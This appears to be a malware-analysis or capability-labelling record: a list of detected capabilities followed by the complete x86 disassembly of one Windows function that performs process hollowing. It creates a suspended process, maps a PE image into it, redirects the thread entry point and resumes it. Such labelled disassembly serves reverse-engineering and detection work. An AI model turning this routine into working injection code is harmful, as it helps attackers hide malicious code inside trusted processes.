Function at 0x417245
Capabilities:
Create process on windows
Create process suspended
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
sub esp, 0x80
push ebx
push ebp
push esi
mov ebx, edx
mov dword [esp + 0x2c], ecx
xor eax, eax
mov dword [esp + 0x18], ebx
push edi
mov edi, dword [esp + 0x94]
mov dword [esp + 0x20], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ZwCreateSection
push str.ntdll
mov dword [esp + 0x34], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call esi
push eax
call ebp
push str.ZwMapViewOfSection
push str.ntdll
mov dword [0x471dd8], eax
call esi
push eax
call ebp
push str.ZwUnmapViewOfSection
push str.ntdll
mov dword [0x471dcc], eax
call esi
push eax
call ebp
push str.ZwClose
push str.ntdll
mov dword [0x471dd0], eax
call esi
push eax
call ebp
cmp dword [0x471dcc], 0
mov dword [0x471dd4], eax
je 0x4175cd
cmp dword [0x471dd0], 0
je 0x4175cd
cmp dword [0x471dd8], 0
je 0x4175cd
test eax, eax
je 0x4175cd
push 0x44
pop esi
push esi
xor ebp, ebp
lea eax, [esp + 0x4c]
push ebp
push eax
call fcn.00436050
add esp, 0xc
mov dword [esp + 0x48], esi
push 0x10
push ebp
push edi
call fcn.00436050
mov eax, 0x5a4d
add esp, 0xc
cmp word [ebx], ax
jne 0x4175cd
mov esi, dword [ebx + 0x3c]
add esi, ebx
cmp dword [esi], 0x4550
jne 0x4175cd
mov eax, dword [esi + 0x50]
push edi
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ebp
mov eax, dword [esi + 0x34]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x4c]
push eax
push ebp
push ebp
push 4
push ebp
push ebp
push ebp
push dword [esp + 0x50]
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4175c7
push 4
push 0x1000
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [esp + 0x38], ebx
mov dword [ebx], 0x10007
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x417593
lea eax, [esp + 0x3c]
push eax
push 4
lea eax, [esp + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x417593
push ebp
push 0x8000000
push 0x40
lea eax, [esp + 0x4c]
push eax
push ebp
push 0xf001f
lea eax, [esp + 0x30]
push eax
call dword [0x471dd8]
test eax, eax
jne 0x417593
movzx ebp, word [esi + 0x16]
not ebp
and ebp, 1
mov dword [esp + 0x38], ebp
jne 0x417414
mov eax, dword [esp + 0x28]
push eax
push dword [edi]
mov dword [esp + 0x18], eax
call dword [0x471dd0]
push 0x40
xor ecx, ecx
lea eax, [esp + 0x28]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x2c]
push eax
push dword [edi]
push dword [esp + 0x3c]
call dword [0x471dcc]
test eax, eax
je 0x417477
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esp + 0x18]
call dword [0x471dd4]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebp, dword [esp + 0x20]
inc ebp
mov dword [esp + 0x20], ebp
cmp ebp, 0x64
ja 0x4175cd
mov ebx, dword [esp + 0x1c]
xor eax, eax
jmp 0x417266
push 0x40
xor ecx, ecx
lea eax, [esp + 0x28]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [esp + 0x3c]
call dword [0x471dcc]
test eax, eax
jne 0x417591
test ebp, ebp
je 0x4174af
mov eax, dword [esp + 0x10]
mov dword [esi + 0x34], eax
push dword [esi + 0x54]
push dword [esp + 0x20]
push dword [esp + 0x1c]
call fcn.00435ad0
mov eax, dword [esp + 0x28]
add esp, 0xc
and dword [esp + 0x30], 0
mov ebp, dword [eax + 0x3c]
add ebp, eax
xor eax, eax
cmp ax, word [esi + 6]
jae 0x417516
mov edi, dword [esp + 0x30]
add ebp, 0x10c
mov ebx, dword [esp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp]
add eax, ebx
push eax
mov eax, dword [ebp - 8]
add eax, dword [esp + 0x1c]
push eax
call fcn.00435ad0
movzx eax, word [esi + 6]
lea ebp, [ebp + 0x28]
add esp, 0xc
inc edi
cmp edi, eax
jl 0x4174e6
mov edi, dword [esp + 0x94]
mov ebx, dword [esp + 0x34]
mov ecx, dword [esp + 0x10]
xor ebp, ebp
cmp dword [esp + 0x38], ebp
je 0x41753e
mov eax, dword [esp + 0x28]
cmp eax, ecx
je 0x41753e
push ebp
push ecx
mov ecx, dword [esp + 0x1c]
push ebp
push eax
call fcn.00417651
mov ecx, dword [esp + 0x20]
add esp, 0x10
cmp dword [esp + 0x2c], ecx
je 0x417566
push ebp
push 4
lea eax, [esp + 0x18]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x417593
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0x28]
add eax, ecx
push ebx
mov dword [ebx + 0xb0], eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x417593
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x417593
mov al, 1
jmp 0x4175cf
xor ebp, ebp
push 0x8000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x471dd0]
push dword [esp + 0x18]
call dword [0x471dd4]
push ebp
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4175cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret